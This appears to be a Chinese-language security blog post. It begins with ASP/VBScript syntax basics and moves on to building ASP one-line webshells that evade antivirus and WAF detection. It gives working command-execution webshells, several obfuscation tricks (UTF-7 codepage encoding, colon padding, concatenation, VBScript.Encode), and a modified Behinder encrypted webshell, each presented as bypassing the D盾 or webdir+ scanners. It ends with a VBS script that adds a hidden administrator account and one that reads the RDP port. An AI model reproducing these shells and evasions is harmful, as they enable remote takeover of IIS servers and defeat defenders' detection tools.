ASP其实是非常灵活的一种语言。说来惭愧,直没有接触过VBS/ASP的相关学习,遇上的很少,不超过5次吧,但是考虑到要成为一个全面的人,因此花了点时间总结下。
ASP和VBS一个运行在服务端,一个运行在客户端,有个别函数用法不同,其他都差不多。
学习了之后我们可以使用在bypass客户端来进行一些操作,如添加用户等,可以bypass服务端学习asp一句话免杀,IIS服务器默认可运行asp服务端脚本。
一、基础语法
1、取值
//dim定义,可以定义函数,布尔,数字,整形Dim str: str="xxx"dim str as sssssDim name,agename="111"age="18"//set也是赋值,但是一般是给特殊的数据类型set conn=server.createobject("adodb.connection")//定义数组dim a(5)//从get取值request.querystring("name")request()request.item("c")//从post取值request.form("lname")//从cookieRequest.Cookies("firstname")DIM一般用于声明变量,如:dim 变量名 as 数据类型SET一般用于给一些特殊的数据类型赋值
2、定义函数
Function b():response.write("xxxx")End Functionb()
3、创造类
Class myclassPrivate Sub Class_Initialize //类开始时执行的方法response.write("xxxx")End Subprivate sub class_terminate() //类结束的方法response.write "类结束了<br>"End subEnd Class
4、循环
<%dim ii=0dim sumsum=0for i=1 to 10sum=sum+iresponse.write(sum&chr(10) )next%>
5、创造组件实例
如下所示,asp的一些功能需要调用实例,这个有点类似于其他语言里面的导包
Server.CreateObject("Scripting.FileSystemObject") //调用文件控制组件Server.CreateObject("Scripting.Dictionary") //调用键值对对象CreateObject("WScript.Shell") //调用wscript组件,利用它可以操作注册表,执行命令等如下代码直接放入1.vbs执行便会弹出计算机,在Web端也会弹出计算器在任务管理器里,但是不会直接看到dim oShell,cmdSet oShell = CreateObject("WSCript.shell")cmd="calc.exe"call oShell.exec(cmd)
6、文字处理函数
函数 描述InStr 返回字符串在另一字符串中首次出现的位置。检索从字符串的第一个字符开始。InStrRev 返回字符串在另一字符串中首次出现的位置。检索从字符串的最末字符开始。LCase 把指定字符串转换为小写。Left 从字符串的左侧返回指定数目的字符。Len 返回字符串中的字符数目。LTrim 删除字符串左侧的空格。RTrim 删除字符串右侧的空格。Trim 删除字符串左侧和右侧的空格。Mid 从字符串返回指定数目的字符。Replace 使用另外一个字符串替换字符串的指定部分指定的次数。Right 返回从字符串右侧开始指定数目的字符。Space 返回由指定数目的空格组成的字符串。StrComp 比较两个字符串,返回代表比较结果的一个值。String 返回包含指定长度的重复字符的字符串。StrReverse 反转字符串。UCase 把指定的字符串转换为大写。
二、ASP的脚本引擎能力
Asp具备管理不同语言脚本程序的能力,能够自动调用合适的脚本引擎以解释脚本代码和执行内置函数。Asp开发环境提供了两种脚本引擎,即vbscript(默认)和Jscript(注意这里是JScript,而不是javascript,不过都差不多,只不过一个是微软自己开发的),当然你也可以调用javascript,甚至Perl等脚本语言(需要安装扩展)。
如下脚本,就是使用asp脚本调用了javascript的引擎,从而可以执行特定的脚本,如果删掉第一行,那么该服务端就会报错。<%@ language="javascript" %><!DOCTYPE html><html><head><%function jsproc(num1,num2){Response.Write(num1*num2)}%></head><p>Result: <%jsproc(3,4)%></p></html>
如下代码,使用了javascript引擎,而javascript引擎对大小写敏感,如1.asp此时就会报错,而2.asp此时就不会
错误的,因为没有使用完整的大小写<%@ language="javascript" %><%response.write("Hello World!")%>正确的<%@ language="Javascript" %><%Response.Write("Hello World!")/*asdasasdasdad*/%>
正确的<%@ language="vbs" %><%reSponsE.wRite("Hello World!")%>
1、默认支持的标签
ASP脚本中的代码块一般被包裹在<% %>标签中,默认以VBscript语言进行解释。引号可以去掉。<script language="VBScript" runat="server">xxxx</script><script language=vbs runat=server>xxx</script><%@ language=vbs %><%@ language="VBscript" %><%@ LANGUAGE = VBScript.Encode %>
2、注释
' 单引号 (单行注释)REM rem+空格 (单行注释)// 双斜线 (单行注释,VBscript,JScript可用,仅支持IIS)<!-- --> HTML注释符 (单行注释,VBscript可用,仅支持IIS)/* */ 多行注释符 (多行注释,JScript可用)
三、ASP和ASPX之间没有的小玩意
ASP和ASPX的关系处于纠缠态的,有时候含糊不清,虽然不影响大家RCE。
关于ASP和ASPX的一个简单说明
1、aspx不能执行asp相关语法,asp也不可以执行aspx的语法(除了个别一样的函数)
<%dim aaaaaa="sdasdasda"//for i=1 to 10//response.write(time())response.write(aaa)Response.Write(DateTime.Now.Date.ToShortDateString())%>//如上面的dim这种是支持在aspx下运行的,但是其他的就都不行了,例如for循环


3、分号的问题
asp默认语法是不支持分号的,一个分号也不行,只有@language=jscript之类的前缀的支持分号。
4、aspx后缀+无前缀说明支持REM注释
在这种情况下,aspx后缀支持rem xxx和单引号来进行注释,不支持// , /**/ , <!—>
如下所示
<%dim aaaaaa="sdasdasda"response.write(aaa)Response.Write("Test")rem asdasdasdasdsaasdasdasdas' asdasdasd%>

这个特性我不知道有啥用,aspx后缀支持asp的注释却又不支持asp的语法,而想要用aspx的语法又必须加上c#,加上c#后又不能支持asp的注释了。
4、aspx不必闭合
asp不闭合就报错了,而如果使用的是aspx后缀
<%execute request("cmd")%>
四、ASP一句话木马免杀
ASP执行下面这三个函数的时候,其实就是将传入的字符串内容将asp语法进行戒子,一句话连接的时候,会再调用真正命令执行的函数,类似PHP中的eval调用system。
ExecuteGlobal
eval
execute
<%execute request("cmd")%>
1、换行分割
如下所示,和其他语言不同的是不可以直接换行,而是需要在换行的“点”处添加“_”符号,如下
response.write("iceice")Response._Write("iceice")Response.___Write("iceice")
2、拼接特性
对于包裹在双引号里面的字符串,可以支持拼接,例如,并且asp支持chr类型替换所有的字符,因此可以的避免某些request.item(“c”)字符串关键字
Response.Write("Test"++++++"asdasdas"&"cccccccccccccccc"&""&chr(97))

3、使用EVAL的命令执行
使用eval的话实际上还是调用wscript.shell来执行命令,类似于php里的system
<%set stm=server.CreateObject("adodb.stream")set oScript =CreateObject("WSCRIPT.SHELL")dim filefile="C:\\ProgramData\\1.txt"dim commandcommand=request("command")call oScript.run("cmd.exe /c " & command&" > " & file, 0, True)'命令执行stm.Type=2stm.mode=3stm.charset="gbk"'stm.charset="utf-8"stm.openstm.loadfromfile(file)str=stm.readtextstm.CloseResponse.Write(str)%>

像这种方式的Webshell 在D盾是没有“记录在案”的,但是值得注意的是,使用上面这种方式执行CALC的话,在我本地直接把IIS服务搞崩了,大概原因可能是执行这类命令后台回等待calc的结束,只有关掉后才能继续运行。
关于wscript.shell里的run和exec的区别
https://www.cnblogs.com/swek/articles/4337999.html
4、奇怪的冒号
:代表另起一行。
就是指上一条语句执行完毕。
一个奇怪的启发,asp作为容错性特别低的语言,一旦有些奇奇怪怪的东西就会影响这个语句的解析,但是发现:::::在语句前后后加入,并不会影响其解析;而:::ssssasdas::::也不会影响解析,目前测试过eval这类函数除外
<%:::::execute(request("cmd"))::::::::::xasdasdas::::::::::asdasdas::::::::x::::::adasdasd:::::::adasdasd::response.write("asdsad"):::::adasdasd::::::sss:adasdasd::now():::::adasdasd::%>
具体表现形式如下所示
ASP的编码特性
https://blog.csdn.net/weixin_40133121/article/details/108595440
codepage=936 简体中文gbk
codepage=950 繁体中文big5
codepage=437 美国/加拿大英语
codepage=932 日文
codepage=949 韩文
codepage=866 俄文
codepage=65001 unicode uft-8
UTF7特性

asp语法支持utf-7编码,65000为指定utf7-的编码模式
<%@codepage=65000%><%r+k-es+k-p+k-on+k-se.co+k-d+k-e+k-p+k-age=936:e+k-v+k-a+k-l r+k-e+k-q+k-u+k-e+k-s+k-t("cmd")%>
如下所示,Utf-7如果遇到+xx- 且xx的长度不超过2,则会变为空字符
<%@codepage=65000%><%e+ss-v+k-a+k-l r+k-e+ka-q+k-u+k-e+kd-s+ks-t("cmd")+xx-+xx-+xx-+x-%>
也可以变为下面这种格式的UTF-7
<%execute request("cmd")%>变为<%@codepage=65000%><%+AGUAeABlAGMAdQB0AGUAIAByAGUAcQB1AGUAcwB0ACgAIgBjAG0AZAAiACk-%>
可以将上述两者进行结合,加上@@@来绕过,D盾也检测不出来。
<%@@@@@@@@@@codepage=65000%><%+AGUAdgBhAGw-(r+k-e+k-q+k-u+k-e+k-s+k-t("cmd"))%>

SCRENC工具
screnc 是来自微软的原生加密工具,但是我找到该工具使用的时候,我怎么用也用不了。
http://bcn.bathome.net/s/tool/index.html?key=screnc
MsgBox 123将变成#@~^CgAAAA==\ko$K6,F 2BgMAAA==^#~@使用这类Webshell时需要添加标头前缀<script language="VBScript.Encode">#@~^KQAAAA==@#@&j1DbwYc214W,J3x1W[roPbdP1WW^ZZJ@#@&PQsAAA==^#~@</script>
ASP对如果在文件头声明中发现VBScript.Encode,同时在之后的内容中检测到#@~^ ….. ^#~@
则自动对#@~^(…..内容)^#~@中的密文进行解密并解释执行
字符串处理工具
混淆工具:https://github.com/sevagas/macro_pack
冰蝎asp脚本简单修改
该脚本在3.0 beta 6可以成功连接,在3.7乃至最新版都连接不了(天蝎shell管理也可以加密连上)
<%Response.CharSet = "UTF-8"k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyondSession("k")=ksize=Request.TotalBytescontent=Request.BinaryRead(size)For i=1 To sizeresult=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))Nextexecute(result)%>
D盾检测冰蝎实在是离谱,居然检测的是关键字result,将result改为r就绕过了,着实无语
<%Response.CharSet = "UTF-8"k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyondSession("k")=ksize=Request.TotalBytescontent=Request.BinaryRead(size)For i=1 To sizer=r&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))Nextexecute(r)%>
接着Bypass webdir+ ,经过定位多次后定位到了这一句
r=r&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
对于asp并没有那么高科技的语法树支持,因此只需简单去掉一些关键字即可
<%Response.CharSet = "UTF-8"k="e45e329feb5d925b"Session("k")=ksize=Request.TotalBytescontent=Request.BinaryRead(size)For i=1 To sizez=Asc(Mid(k,(i and 15)+1,1))c=ascb(midb(content,i,1))r=r&Chr( c Xor z)Nextexecute(r)%>

并且,上面bypass使用的还只是最简单的字符替换,我们之前学的特性,拼接,换行,以及自定义方法,数组,字符处理函数,UTF-7还都一个都没有用呢,这些组合起来相信短时间内可以Bypass市面上所有针对asp的waf了。
相比aspx,针对asp的免杀的确是小了很多。
wscript和cscript的区别
都可以直接在客户端上运行VBS脚本,区别在于一个使用框框弹出来,一个使用控制台打印出来

再简单介绍一个VBS脚本吧,VBS的语法和ASP的语法是一样的,我们可以通过调用一些函数来操作系统API。
Set wsnetwork=CreateObject("WS"&"CR"&"IPT"&"."&"NET"&"WO"&"RK")os="WinNT://"&wsnetwork.ComputerNameSet ob=GetObject(os)Set oe=GetObject(os&"/Administrators,group")Set od=ob.Create("user","iiice")Const strPassword = "123456"od.SetPassword strPasswordod.SetInfoSet of=GetObject(os&"/iiice",user)oe.add os&"/iiice"
查看3389
Dim ReadComputerNameSet ReadComputerName=WScript.CreateObject("WScript.Shell")Dim TSName,TSRegPathTSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber"TSName=ReadComputerName.RegRead(TSRegPath)WScript.Echo("TermService port is:"&TSName)
参考资料
https://www.w3school.com.cn/asp/asp_syntax.asp
https://xz.aliyun.com/t/5193
https://xz.aliyun.com/t/2356
